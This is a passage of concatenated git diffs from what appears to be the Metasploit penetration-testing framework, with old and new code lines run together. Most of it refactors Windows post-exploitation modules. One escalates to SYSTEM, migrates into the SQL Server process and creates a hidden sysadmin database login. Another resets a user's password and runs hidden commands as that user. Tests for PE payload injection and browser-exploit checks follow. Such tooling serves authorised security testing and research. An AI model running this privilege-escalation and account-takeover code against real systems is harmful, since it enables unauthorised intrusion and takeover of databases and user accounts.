print_good("MSSQL password hash saved in: #{loot_path}")
return true
else
return false
end
end
end

View File

@ -5,10 +5,12 @@
require 'msf/core' require 'msf/core'
require 'rex' require 'rex'
require 'msf/core/post/windows/mssql'
class Metasploit3 < Msf::Post class Metasploit3 < Msf::Post
include Msf::Post::Windows::MSSQL
def initialize(info={}) def initialize(info={})
super( update_info( info, super( update_info( info,
'Name' => 'Windows Manage Local Microsoft SQL Server Authorization Bypass', 'Name' => 'Windows Manage Local Microsoft SQL Server Authorization Bypass',
@ -35,440 +37,114 @@ class Metasploit3 < Msf::Post
[ [
OptString.new('DB_USERNAME', [true, 'New sysadmin login', '']), OptString.new('DB_USERNAME', [true, 'New sysadmin login', '']),
OptString.new('DB_PASSWORD', [true, 'Password for new sysadmin login', '']), OptString.new('DB_PASSWORD', [true, 'Password for new sysadmin login', '']),
OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', '']), OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', nil]),
OptBool.new('REMOVE_LOGIN', [false, 'Remove DB_USERNAME login from database', 'false']) OptBool.new('REMOVE_LOGIN', [true, 'Remove DB_USERNAME login from database', 'false'])
], self.class) ], self.class)
end end
def run def run
# Set verbosity level
verbose = datastore['VERBOSE'].to_s.downcase
# Set instance name (if specified) # Set instance name (if specified)
instance = datastore['INSTANCE'].to_s.upcase instance = datastore['INSTANCE'].to_s
# Display target # Display target
print_status("Running module against #{sysinfo['Computer']}") print_status("Running module against #{sysinfo['Computer']}")
# Get LocalSystem privileges
system_status = givemesystem
if system_status[0]
# Check if a SQL Server service is running
service_instance = check_for_sqlserver(instance)
if service_instance != 0
# Identify available native SQL client # Identify available native SQL client
sql_client = get_sql_client() get_sql_client
if sql_client != 0 fail_with(Exploit::Failure::Unknown, 'Unable to identify a SQL client') unless @sql_client
# Check if remove_login was selected # Get LocalSystem privileges
if datastore['REMOVE_LOGIN'].to_s.downcase == "false" system_status = get_system
fail_with(Exploit::Failure::Unknown, 'Unable to get SYSTEM') unless system_status
begin
service = check_for_sqlserver(instance)
fail_with(Exploit::Failure::Unknown, 'Unable to identify MSSQL Service') unless service
# Add new login print_status("Identified service '#{service[:display]}', PID: #{service[:pid]}")
add_login_status = add_sql_login(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose) instance_name = service[:display].gsub('SQL Server (','').gsub(')','').lstrip.rstrip
if add_login_status == 1
# Add login to sysadmin fixed server role if datastore['REMOVE_LOGIN']
add_sysadmin(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose) remove_login(service, instance_name)
else else
add_login(service, instance_name)
if add_login_status != "userexists" then
# Attempt to impersonate sql server service account (for sql server 2012)
impersonate_status = impersonate_sql_user(service_instance,verbose)
if impersonate_status == 1
# Add new login
add_login_status = add_sql_login(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
if add_login_status == 1
# Add login to sysadmin fixed server role
add_sysadmin(sql_client,datastore['DB_USERNAME'],datastore['DB_PASSWORD'],instance,service_instance,verbose)
end end
end ensure
end # attempt to return to original priv context
end
else
# Remove login
remove_status = remove_sql_login(sql_client,datastore['DB_USERNAME'],instance,service_instance,verbose)
if remove_status == 0
# Attempt to impersonate sql server service account (for sql server 2012)
impersonate_status = impersonate_sql_user(service_instance,verbose)
if impersonate_status == 1
# Remove login
remove_sql_login(sql_client,datastore['DB_USERNAME'],instance,service_instance,verbose)
end
end
end
end
end
else
print_error("Could not obtain LocalSystem privileges")
end
# return to original priv context
session.sys.config.revert_to_self session.sys.config.revert_to_self
end end
end
def add_login(service, instance_name)
begin
add_login_status = add_sql_login(datastore['DB_USERNAME'],
datastore['DB_PASSWORD'],
instance_name)
## ---------------------------------------------- unless add_login_status
## Method to check if the SQL Server service is running raise RuntimeError, "Retry"
## ---------------------------------------------- end
def check_for_sqlserver(instance) rescue RuntimeError => e
if e.message == "Retry"
retry if impersonate_sql_user(service)
else
raise $!
end
end
end
print_status("Checking for SQL Server...") def remove_login(service, instance_name)
begin
remove_status = remove_sql_login(datastore['DB_USERNAME'], instance_name)
unless remove_status
raise RuntimeError, "Retry"
end
rescue RuntimeError => e
if e.message == "Retry"
retry if impersonate_sql_user(service)
else
raise $!
end
end
end
def add_sql_login(dbuser, dbpass, instance)
print_status("Attempting to add new login \"#{dbuser}\"...")
query = mssql_sa_escalation(username: dbuser, password: dbpass)
# Get Data # Get Data
running_services = run_cmd("net start") add_login_result = run_sql(query, instance)
# Parse Data case add_login_result
services_array = running_services.split("\n") when '', /new login created/i
# Check for the SQL Server service
services_array.each do |service|
if instance == "" then
# Target default instance
if service =~ /SQL Server \(| MSSQLSERVER/ then
# Display results
service_instance = service.gsub(/SQL Server \(/, "").gsub(/\)/, "").lstrip.rstrip
print_good("SQL Server instance found: #{service_instance}")
return service_instance
end
else
# Target user defined instance
if service =~ /#{instance}/ then
# Display user defined instance
print_good("SQL Server instance found: #{instance}")
return instance
end
end
end
# Fail
if instance == "" then
print_error("SQL Server instance NOT found")
else
print_error("SQL Server instance \"#{instance}\" was NOT found")
end
return 0
end
## ----------------------------------------------
## Method for identifying which SQL client to use
## ----------------------------------------------
def get_sql_client
print_status("Checking for native client...")
# Get Data - osql
running_services1 = run_cmd("osql -?")
# Parse Data - osql
services_array1 = running_services1.split("\n")
# Check for osql
if services_array1.join =~ /(SQL Server Command Line Tool)|(usage: osql)/
print_good("OSQL client was found")
return "osql"
end
# Get Data - sqlcmd
running_services = run_cmd("sqlcmd -?")
# Parse Data - sqlcmd
services_array = running_services.split("\n")
# Check for SQLCMD
services_array.each do |service|
if service =~ /SQL Server Command Line Tool/ then
print_good("SQLCMD client was found")
return "sqlcmd"
end
end
# Fail
print_error("No native SQL client was found")
return 0
end
## ----------------------------------------------
## Method for adding a login
## ----------------------------------------------
def add_sql_login(sqlclient,dbuser,dbpass,instance,service_instance,verbose)
print_status("Attempting to add new login #{dbuser}...")
# Setup command format to accomidate version inconsistencies
if instance == ""
# Check default instance name
if service_instance == "MSSQLSERVER" then
print_status(" o MSSQL Service instance: #{service_instance}") if verbose == "true"
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\""
else
# User defined instance
print_status(" o OTHER Service instance: #{service_instance}") if verbose == "true"
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{service_instance} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\""
end
else
# User defined instance
print_status(" o defined instance: #{service_instance}") if verbose == "true"
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{instance} -Q \"sp_addlogin '#{dbuser}','#{dbpass}'\""
end
# Display debugging information
print_status("Running command:") if verbose == "true"
print_status("#{sqlcommand}") if verbose == "true"
# Get Data
add_login_result = run_cmd("#{sqlcommand}")
# Parse Data
add_login_array = add_login_result.split("\n")
# Check if user exists
add_login_array.each do |service|
if service =~ /already exists/ then
print_error("Unable to add login #{dbuser}, user already exists")
return "userexists"
end
end
# check for success/fail
if add_login_result.empty? or add_login_result =~ /New login created./
print_good("Successfully added login \"#{dbuser}\" with password \"#{dbpass}\"") print_good("Successfully added login \"#{dbuser}\" with password \"#{dbpass}\"")
return 1 return true
when /already exists/i
fail_with(Exploit::Failure::BadConfig, "Unable to add login #{dbuser}, user already exists")
when /password validation failed/i
fail_with(Exploit::Failure::BadConfig, "Unable to add login #{dbuser}, password does not meet complexity requirements")
else else
print_error("Unable to add login #{dbuser}") print_error("Unable to add login #{dbuser}")
print_error("Database Error:\n #{add_login_result}") print_error("Database Error:\n #{add_login_result}")
return 0 return false
end end
end end
def remove_sql_login(dbuser, instance_name)
## ----------------------------------------------
## Method for adding a login to sysadmin role
## ----------------------------------------------
def add_sysadmin(sqlclient,dbuser,dbpass,instance,service_instance,verbose)
print_status("Attempting to make #{dbuser} login a sysadmin...")
# Setup command format to accomidate command inconsistencies
if instance == ""
# Check default instance name
if service_instance == "MSSQLSERVER" then
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 begin select 'bingo' end \""
else
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{service_instance} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 \
begin select 'bingo' end \""
end
else
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']}\\#{instance} -Q \"sp_addsrvrolemember '#{dbuser}','sysadmin';if (select is_srvrolemember('sysadmin'))=1 begin select 'bingo' end \""
end
# Display debugging information
print_status("Running command:") if verbose == "true"
print_status("#{sqlcommand}") if verbose == "true"
# Get Data
add_sysadmin_result = run_cmd("#{sqlcommand}")
# Parse Data
add_sysadmin_array = add_sysadmin_result.split("\n")
# Check for success
check = 0
add_sysadmin_array.each do |service|
if service =~ /bingo/ then
check = 1
end
end
# Display results to user
if check == 1
print_good("Successfully added \"#{dbuser}\" to sysadmin role")
return 1
else
# Fail
print_error("Unabled to add #{dbuser} to sysadmin role")
print_error("Database Error:\n\n #{add_sysadmin_result}")
return 0
end
end
## ----------------------------------------------
## Method for removing login
## ----------------------------------------------
def remove_sql_login(sqlclient,dbuser,instance,service_instance,verbose)
print_status("Attempting to remove login \"#{dbuser}\"") print_status("Attempting to remove login \"#{dbuser}\"")
query = "sp_droplogin '#{dbuser}'"
# Setup command format to accomidate command inconsistencies remove_login_result = run_sql(query, instance_name)
if instance == ""
# Check default instance name
if service_instance == "SQLEXPRESS" then
# Set command here for SQLEXPRESS
sqlcommand = "#{sqlclient} -E -S .\\SQLEXPRESS -Q \"sp_droplogin '#{dbuser}'\""
else
sqlcommand = "#{sqlclient} -E -S #{sysinfo['Computer']} -Q \"sp_droplogin '#{dbuser}'\""
end
else
# Set command here
sqlcommand = "#{sqlclient} -E -S .\\#{instance} -Q \"sp_droplogin '#{dbuser}'\""
end
# Display debugging information
print_status("Settings:") if verbose == "true"
print_status(" o SQL Client: #{sqlclient}") if verbose == "true"
print_status(" o User: #{dbuser}") if verbose == "true"
print_status(" o Service instance: #{service_instance}") if verbose == "true"
print_status(" o User defined instance: #{instance}") if verbose == "true"
print_status("Command:") if verbose == "true"
print_status("#{sqlcommand}") if verbose == "true"
# Get Data
remove_login_result = run_cmd("#{sqlcommand}")
# Parse Data
remove_login_array = remove_login_result.split("\n")
# Check for success
check = 0
remove_login_array.each do |service|
if service =~ // then
check = 1
end
end
# Display result # Display result
if check == 0 if remove_login_result.empty?
print_good("Successfully removed login \"#{dbuser}\"") print_good("Successfully removed login \"#{dbuser}\"")
return 1 return true
else else
# Fail # Fail
print_error("Unabled to remove login #{dbuser}") print_error("Unabled to remove login #{dbuser}")
print_error("Database Error:\n\n #{remove_login_result}") print_error("Database Error:\n\n #{remove_login_result}")
return 0 return false
end end
end end
## ----------------------------------------------
## Method for executing cmd and returning the response
##
## Note: This is from one of Jabra's modules - Thanks man!
## Note: This craps out when escalating from local admin to system
## I assume it has something to do with the token, but don't
## really know.
##----------------------------------------------
def run_cmd(cmd,token=true)
opts = {'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token}
process = session.sys.process.execute(cmd, nil, opts)
res = ""
while (d = process.channel.read)
break if d == ""
res << d
end
process.channel.close
process.close
return res
end
## ----------------------------------------------
## Method for impersonating sql server instance
## ----------------------------------------------
def impersonate_sql_user(service_instance,verbose)
# Print the current user
blah = session.sys.config.getuid if verbose == "true"
print_status("Current user: #{blah}") if verbose == "true"
# Define target user/pid
targetuser = ""
targetpid = ""
# Identify SQL Server service processes
print_status("Searching for sqlservr.exe processes not running as SYSTEM...")
session.sys.process.get_processes().each do |x|
# Search for all sqlservr.exe processes
if ( x['name'] == "sqlservr.exe" and x['user'] != "NT AUTHORITY\\SYSTEM")
# Found one
print_good("Found \"#{x['user']}\" running sqlservr.exe process #{x['pid']}")
# Define target pid / user
if x['user'] =~ /NT SERVICE/ then
if x['user'] == "NT SERVICE\\MSSQL$#{service_instance}" then
targetuser = "NT SERVICE\\MSSQL$#{service_instance}"
targetpid = x['pid']
end
else
targetuser = x['user']
targetpid = x['pid']
end
end
end
# Attempt to migrate to target sqlservr.exe process
if targetuser == "" then
print_error("Unable to find sqlservr.exe process not running as SYSTEM")
return 0
else
begin
# Migrating works, but I can't rev2self after its complete
print_status("Attempting to migrate to process #{targetpid}...")
session.core.migrate(targetpid.to_i)
# Statusing
blah = session.sys.config.getuid if verbose == "true"
print_status("Current user: #{blah}") if verbose == "true"
print_good("Successfully migrated to sqlservr.exe process #{targetpid}")
return 1
rescue
print_error("Unable to migrate to sqlservr.exe process #{targetpid}")
return 0
end
end
end
## ----------------------------------------------
## Method to become SYSTEM if required
## Note: This is from one of Jabra's modules.
## ----------------------------------------------
def givemesystem
# Statusing
print_status("Checking if user is SYSTEM...")
# Check if user is system
if session.sys.config.getuid == "NT AUTHORITY\\SYSTEM"
print_good("User is SYSTEM")
return 1
else
# Attempt to get LocalSystem privileges
print_error("User is NOT SYSTEM")
print_status("Attempting to get SYSTEM privileges...")
system_status = session.priv.getsystem
if system_status[0]
print_good("Success!, user is now SYSTEM")
return 1
else
print_error("Unable to obtained SYSTEM privileges")
return 0
end
end
end
end end

View File

@ -9,17 +9,18 @@ require 'rex'
class Metasploit3 < Msf::Post class Metasploit3 < Msf::Post
include Msf::Post::File include Msf::Post::File
include Msf::Post::Windows::Priv include Msf::Post::Windows::Priv
include Msf::Post::Windows::Runas
def initialize(info={}) def initialize(info = {})
super(update_info(info, super(update_info(info,
'Name' => "Windows Manage Run Command As User", 'Name' => "Windows Manage Run Command As User",
'Description' => %q{ 'Description' => %q(
This module will login with the specified username/password and execute the This module will login with the specified username/password and execute the
supplied command as a hidden process. Output is not returned by default, by setting supplied command as a hidden process. Output is not returned by default, by setting
CMDOUT to false output will be redirected to a temp file and read back in to CMDOUT to false output will be redirected to a temp file and read back in to
display.By setting advanced option SETPASS to true, it will reset the users display.By setting advanced option SETPASS to true, it will reset the users
password and then execute the command. password and then execute the command.
}, ),
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Platform' => ['win'], 'Platform' => ['win'],
'SessionTypes' => ['meterpreter'], 'SessionTypes' => ['meterpreter'],
@ -28,15 +29,16 @@ class Metasploit3 < Msf::Post
register_options( register_options(
[ [
OptString.new('USER', [true, 'Username to reset/login with' ]), OptString.new('DOMAIN', [true, 'Domain to login with' ]),
OptString.new('PASS', [true, 'Password to use' ]), OptString.new('USER', [true, 'Username to login with' ]),
OptString.new('PASSWORD', [true, 'Password to login with' ]),
OptString.new('CMD', [true, 'Command to execute' ]), OptString.new('CMD', [true, 'Command to execute' ]),
OptBool.new('CMDOUT', [false, 'Retrieve command output', false]), OptBool.new('CMDOUT', [true, 'Retrieve command output', false])
], self.class) ], self.class)
register_advanced_options( register_advanced_options(
[ [
OptBool.new('SETPASS', [false, 'Reset password', false]) OptBool.new('SETPASS', [true, 'Reset password', false])
], self.class) ], self.class)
end end
@ -44,130 +46,83 @@ class Metasploit3 < Msf::Post
# If you elevated privs to system,the SeAssignPrimaryTokenPrivilege will not be assigned. You # If you elevated privs to system,the SeAssignPrimaryTokenPrivilege will not be assigned. You
# need to migrate to a process that is running as # need to migrate to a process that is running as
# system. If you don't have privs, this exits script. # system. If you don't have privs, this exits script.
def priv_check def priv_check
if is_system? if is_system?
privs = session.sys.config.getprivs privs = session.sys.config.getprivs
if privs.include?("SeAssignPrimaryTokenPrivilege") and privs.include?("SeIncreaseQuotaPrivilege") return privs.include?("SeAssignPrimaryTokenPrivilege") && privs.include?("SeIncreaseQuotaPrivilege")
@isadmin = false
return true
else
return false
end
elsif is_admin?
@isadmin = true
return true
else
return false
end
end end
def reset_pass(user,pass) false
begin
tmpout = ""
cmd = "cmd.exe /c net user " + user + " " + pass
r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})
while(d = r.channel.read)
tmpout << d
break if d == ""
end end
r.channel.close
return true if tmpout.include?("successfully") def reset_pass(user, password)
return false begin
tmpout = cmd_exec("cmd.exe /c net user #{user} #{password}")
return tmpout.include?("successfully")
rescue rescue
return false return false
end end
end end
def run def touch(path)
# set some instance vars write_file(path, "")
@IsAdmin = false cmd_exec("icacls #{path} /grant Everyone:(F)")
@host_info = session.sys.config.sysinfo end
def run
# Make sure we meet the requirements before running the script, note no need to return # Make sure we meet the requirements before running the script, note no need to return
# unless error # unless error
return 0 if session.type != "meterpreter" return unless session.type == "meterpreter"
pi = nil
# check/set vars # check/set vars
setpass = datastore["SETPASS"] setpass = datastore["SETPASS"]
cmdout = datastore["CMDOUT"] cmdout = datastore["CMDOUT"]
user = datastore["USER"] || nil user = datastore["USER"] || nil
pass = datastore["PASS"] || nil password = datastore["PASSWORD"] || nil
cmd = datastore["CMD"] || nil cmd = datastore["CMD"] || nil
rg_adv = session.railgun.advapi32 domain = datastore['DOMAIN']
# reset user pass if setpass is true if setpass
if datastore["SETPASS"]
print_status("Setting user password") print_status("Setting user password")
if !reset_pass(user,pass) fail_with(Exploit::Failure::Unknown, 'Error resetting password') unless reset_pass(user, password)
print_error("Error resetting password")
return 0
end
end end
# set profile paths system_temp = get_env('WINDIR') << '\\Temp'
sysdrive = session.sys.config.getenv('SYSTEMDRIVE') outpath = "#{system_temp}\\#{Rex::Text.rand_text_alpha(8)}.txt"
os = @host_info['OS']
profiles_path = sysdrive + "\\Documents and Settings\\"
profiles_path = sysdrive + "\\Users\\" if os =~ /(Windows 7|2008|Vista)/
path = profiles_path + user + "\\"
outpath = path + "out.txt"
# this is start info struct for a hidden process last two params are std out and in. # Create output file and set permissions so everyone can access
#for hidden startinfo[12] = 1 = STARTF_USESHOWWINDOW and startinfo[13] = 0 = SW_HIDE touch(outpath)
startinfo = [0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0]
startinfo = startinfo.pack("LLLLLLLLLLLLSSLLLL")
#set command string based on cmdout vars
cmdstr = "cmd.exe /c #{cmd}" cmdstr = "cmd.exe /c #{cmd}"
cmdstr = "cmd.exe /c #{cmd} > #{outpath}" if cmdout cmdstr = "cmd.exe /c #{cmd} > #{outpath}" if cmdout
# Check privs and execute the correct commands
# if local admin use createprocesswithlogon, if system logonuser and createprocessasuser
# execute command and get output with a poor mans pipe
# Check privs and execute the correct commands
# if user use createprocesswithlogon, if system logonuser and createprocessasuser
# execute command and get output with a poor mans pipe
if priv_check if priv_check
if @isadmin #local admin
print_status("Executing CreateProcessWithLogonW...we are Admin")
cs = rg_adv.CreateProcessWithLogonW(user,nil,pass,"LOGON_WITH_PROFILE",nil, cmdstr,
"CREATE_UNICODE_ENVIRONMENT",nil,path,startinfo,16)
else #system with correct token privs enabled
print_status("Executing CreateProcessAsUserA...we are SYSTEM") print_status("Executing CreateProcessAsUserA...we are SYSTEM")
l = rg_adv.LogonUserA(user,nil,pass, "LOGON32_LOGON_INTERACTIVE", pi = create_process_as_user(domain, user, password, nil, cmdstr)
"LOGON32_PROVIDER_DEFAULT", 4) if pi
cs = rg_adv.CreateProcessAsUserA(l["phToken"], nil, cmdstr, nil, nil, false, session.railgun.kernel32.CloseHandle(pi[:process_handle])
"CREATE_NEW_CONSOLE", nil, nil, startinfo, 16) session.railgun.kernel32.CloseHandle(pi[:thread_handle])
end end
else else
print_error("Insufficient Privileges, either you are not Admin or system or you elevated") print_status("Executing CreateProcessWithLogonW...")
print_error("privs to system and do not have sufficient privileges. If you elevated to") pi = create_process_with_logon(domain, user, password, nil, cmdstr)
print_error("system, migrate to a process that was started as system (srvhost.exe)")
return 0
end end
# Only process file if the process creation was successful, delete when done, give us info # Only process file if the process creation was successful, delete when done, give us info
# about process # about process
if cs["return"] if pi
tmpout = "" tmpout = read_file(outpath) if cmdout
if cmdout
outfile = session.fs.file.new(outpath, "rb")
until outfile.eof?
tmpout << outfile.read
end
outfile.close
c = session.sys.process.execute("cmd.exe /c del #{outpath}", nil, {'Hidden' => true})
c.close
end
pi = cs["lpProcessInformation"].unpack("LLLL")
print_status("Command Run: #{cmdstr}") print_status("Command Run: #{cmdstr}")
print_status("Process Handle: #{pi[0]}") vprint_status("Process Handle: #{pi[:process_handle]}")
print_status("Thread Handle: #{pi[1]}") vprint_status("Thread Handle: #{pi[:thread_handle]}")
print_status("Process Id: #{pi[2]}") vprint_status("Process Id: #{pi[:process_id]}")
print_status("Thread Id: #{pi[3]}") vprint_status("Thread Id: #{pi[:thread_id]}")
print_line(tmpout) print_status("Command output:\r\n#{tmpout}") unless tmpout.nil?
else
print_error("Oops something went wrong. Error Returned by Windows was #{cs["GetLastError"]}")
return 0
end end
end end
end end

View File

@ -297,8 +297,14 @@ if __FILE__ == $0
exit exit
end end
$stderr.puts "Options for #{payload_mod.fullname}\n\n" $stderr.puts "Options for #{payload_mod.fullname}:\n\n"
$stdout.puts ::Msf::Serializer::ReadableText.dump_module(payload_mod,' ') $stdout.puts ::Msf::Serializer::ReadableText.dump_module(payload_mod, ' ')
$stderr.puts "Advanced options for #{payload_mod.fullname}:\n\n"
$stdout.puts ::Msf::Serializer::ReadableText.dump_advanced_options(payload_mod, ' ')
$stderr.puts "Evasion options for #{payload_mod.fullname}:\n\n"
$stdout.puts ::Msf::Serializer::ReadableText.dump_evasion_options(payload_mod, ' ')
exit(0) exit(0)
end end

View File

@ -8,4 +8,26 @@ describe Metasploit::Framework::LoginScanner::HTTP do
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket' it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP' it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP'
subject do
described_class.new
end
let(:response) { Rex::Proto::Http::Response.new(200, 'OK') }
before(:each) do
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:request_cgi).with(any_args)
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).with(any_args).and_return(response)
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:set_config).with(any_args)
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:close)
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect)
end
describe '#send_request' do
context 'when a valid request is sent' do
it 'returns a response object' do
expect(subject.send_request({'uri'=>'/'})).to be_kind_of(Rex::Proto::Http::Response)
end
end
end
end end

View File

@ -72,14 +72,6 @@ describe Metasploit::Framework::LoginScanner::SymantecWebGateway do
end end
end end
describe '#send_request' do
context 'when a valid request is sent' do
it 'returns a response object' do
expect(subject.send_request({'uri'=>'/'})).to be_kind_of(Rex::Proto::Http::Response)
end
end
end
describe '#get_last_sid' do describe '#get_last_sid' do
let(:response) do let(:response) do
res = Rex::Proto::Http::Response.new(200, 'OK') res = Rex::Proto::Http::Response.new(200, 'OK')

View File

@ -0,0 +1,82 @@
require 'spec_helper'
require 'msf/core/exe/segment_appender'
describe Msf::Exe::SegmentAppender do
let(:opts) do
option_hash = {
:template => File.join(File.dirname(__FILE__), "..", "..", "..", "..", "..", "data", "templates", "template_x86_windows.exe"),
:payload => "\xd9\xeb\x9b\xd9\x74\x24",
:arch => :x86
}
end
subject(:injector) { Msf::Exe::SegmentInjector.new(opts) }
it { should respond_to :payload }
it { should respond_to :template }
it { should respond_to :arch }
it { should respond_to :processor }
it { should respond_to :buffer_register }
it 'should return the correct processor for the arch' do
injector.processor.class.should == Metasm::Ia32
injector.arch = :x64
injector.processor.class.should == Metasm::X86_64
end
context '#create_thread_stub' do
it 'should use edx as a default buffer register' do
injector.buffer_register.should == 'edx'
end
context 'when given a non-default buffer register' do
let(:opts) do
option_hash = {
:template => File.join(File.dirname(__FILE__), "..", "..", "..", "..", "..", "data", "templates", "template_x86_windows.exe"),
:payload => "\xd9\xeb\x9b\xd9\x74\x24",
:arch => :x86,
:buffer_register => 'eax'
}
end
it 'should use the correct buffer register' do
injector.buffer_register.should == 'eax'
end
end
end
describe '#generate_pe' do
it 'should return a string' do
injector.generate_pe.kind_of?(String).should == true
end
it 'should produce a valid PE exe' do
expect {Metasm::PE.decode(injector.generate_pe) }.to_not raise_exception
end
context 'the generated exe' do
let(:exe) { Metasm::PE.decode(injector.generate_pe) }
it 'should be the propper arch' do
exe.bitsize.should == 32
end
it 'should have 5 sections' do
exe.sections.count.should == 5
end
it 'should have all the right original section names' do
s_names = []
exe.sections.collect {|s| s_names << s.name}
s_names[0,4].should == [".text", ".rdata", ".data", ".rsrc"]
end
it 'should have the last section set to RWX' do
exe.sections.last.characteristics.should == ["CONTAINS_CODE", "MEM_EXECUTE", "MEM_READ", "MEM_WRITE"]
end
it 'should have an entrypoint that points to the last section' do
exe.optheader.entrypoint.should == exe.sections.last.virtaddr
end
end
end
end

View File

@ -24,12 +24,6 @@ describe Msf::Exe::SegmentInjector do
injector.processor.class.should == Metasm::X86_64 injector.processor.class.should == Metasm::X86_64
end end
context '#payload_as_asm' do
it 'should return the payload as declare byte instructions' do
injector.payload_as_asm.should == "db 0xd9\ndb 0xeb\ndb 0x9b\ndb 0xd9\ndb 0x74\ndb 0x24\n"
end
end
context '#create_thread_stub' do context '#create_thread_stub' do
it 'should use edx as a default buffer register' do it 'should use edx as a default buffer register' do
injector.buffer_register.should == 'edx' injector.buffer_register.should == 'edx'

View File

@ -41,9 +41,9 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
:ua_ver =>'8.0', :ua_ver =>'8.0',
:arch =>'x86', :arch =>'x86',
:office =>'null', :office =>'null',
:activex =>'true', :activex => [ {clsid: '{D27CDB6E-AE6D-11cf-96B8-444553540000}', method: 'LoadMovie'} ],
:proxy =>false, :proxy => false,
:language =>'en-us', :language => 'en-us',
:tried => true :tried => true
} }
end end
@ -65,6 +65,22 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
end end
end end
describe '#has_bad_activex?' do
context 'when there is a bad activex' do
let(:js_ax_value) { "#{expected_profile[:activex][0][:clsid]}=>#{expected_profile[:activex][0][:method]}=>false" }
it 'returns false' do
expect(server.has_bad_activex?(js_ax_value)).to be_truthy
end
end
context 'when there is no bad activex' do
let(:js_ax_value) { "#{expected_profile[:activex][0][:clsid]}=>#{expected_profile[:activex][0][:method]}=>true" }
it 'returns true' do
expect(server.has_bad_activex?(js_ax_value)).to be_falsey
end
end
end
describe "#get_bad_requirements" do describe "#get_bad_requirements" do
let(:rejected_requirements) do let(:rejected_requirements) do
server.get_bad_requirements(fake_profile) server.get_bad_requirements(fake_profile)

View File

@ -0,0 +1,492 @@
# -*- coding: binary -*-
require 'spec_helper'
require 'msf/core/post/windows/mssql'
describe Msf::Post::Windows::MSSQL do
let(:subject) do
mod = Module.new
mod.extend described_class
stubs = [ :vprint_status, :print_status, :vprint_good, :print_good, :print_error, :print_warning ]
stubs.each { |meth| mod.stub(meth) }
mod.stub(:service_info).and_return({})
mod
end
let(:running_pid) do
6541
end
let(:stopped_pid) do
0
end
let(:named_instance) do
'NamedInstance'
end
# http://blogs.technet.com/b/fort_sql/archive/2010/05/31/list-of-sql-server-service-names.aspx
let(:sql_server_7_display) do
'MSSQLServer'
end
let(:sql_server_2000_display) do
'MSSQLServer'
end
let(:sql_server_2000_named_display) do
"MSSQL$#{named_instance}"
end
# Affects 7 and 2000
let(:sql_server_analysis_services_display) do
'MSSQLServerOLAPService'
end
let(:sql_server_2005_display) do
'SQL Server (MSSQLSERVER)'
end
let(:sql_server_2005_named_display) do
"MSSQLServer#{named_instance}"
end
let(:sql_server_2008_display) do
'SQL Server (MSSQLSERVER)'
end
let(:sql_server_2008_named_display) do
"SQL Server (#{named_instance})"
end
# Affects 2005/2008
let(:sql_server_agent_display) do
"SQL Server Agent (MSSQLServer)"
end
let(:stopped_2k8_sql_instance) do
{ display: sql_server_2008_display, pid: stopped_pid }
end
let(:running_2k8_sql_instance) do
{ display: sql_server_2008_display, pid: running_pid }
end
let(:running_named_2k8_sql_instance) do
{ display: sql_server_2008_named_display, pid: running_pid }
end
let(:stopped_named_2k8_sql_instance) do
{ display: sql_server_2008_named_display, pid: stopped_pid }
end
let(:running_sql_server_agent_service) do
{ display: sql_server_agent_display, pid: running_pid }
end
let(:running_2k5_sql_instance) do
{ display: sql_server_2005_display, pid: running_pid }
end
let(:running_named_2k5_sql_instance) do
{ display: sql_server_2005_named_display, pid: running_pid }
end
let(:running_2k_sql_instance) do
{ display: sql_server_2000_display, pid: running_pid }
end
let(:running_named_2k_sql_instance) do
{ display: sql_server_2000_named_display, pid: running_pid }
end
let(:running_7_sql_instance) do
{ display: sql_server_7_display, pid: running_pid }
end
let(:running_analysis_service) do
{ display: sql_server_analysis_services_display, pid: running_pid }
end
let(:normal_service) do
{ display: 'blah', pid: running_pid }
end
describe "#check_for_sqlserver" do
let(:instance) do
nil
end
context "when instance is nil" do
it "should return nil if unable to locate any SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service)
result = subject.check_for_sqlserver(instance)
result.should be_nil
end
it "should identify a running SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_2k8_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_2k8_sql_instance
end
it "shouldn't identify a non running SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(stopped_2k8_sql_instance).and_yield(running_2k8_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_2k8_sql_instance
end
end
context "when SQL Server 7 and instance is nil" do
it "should identify a running SQL instance" do
allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service).and_yield(running_7_sql_instance)
result = subject.check_for_sqlserver(instance)
result.should eq running_7_sql_instance
end
end
context "when SQL Server 2000 and instance is nil" do
it "should identify a running SQL instance" do
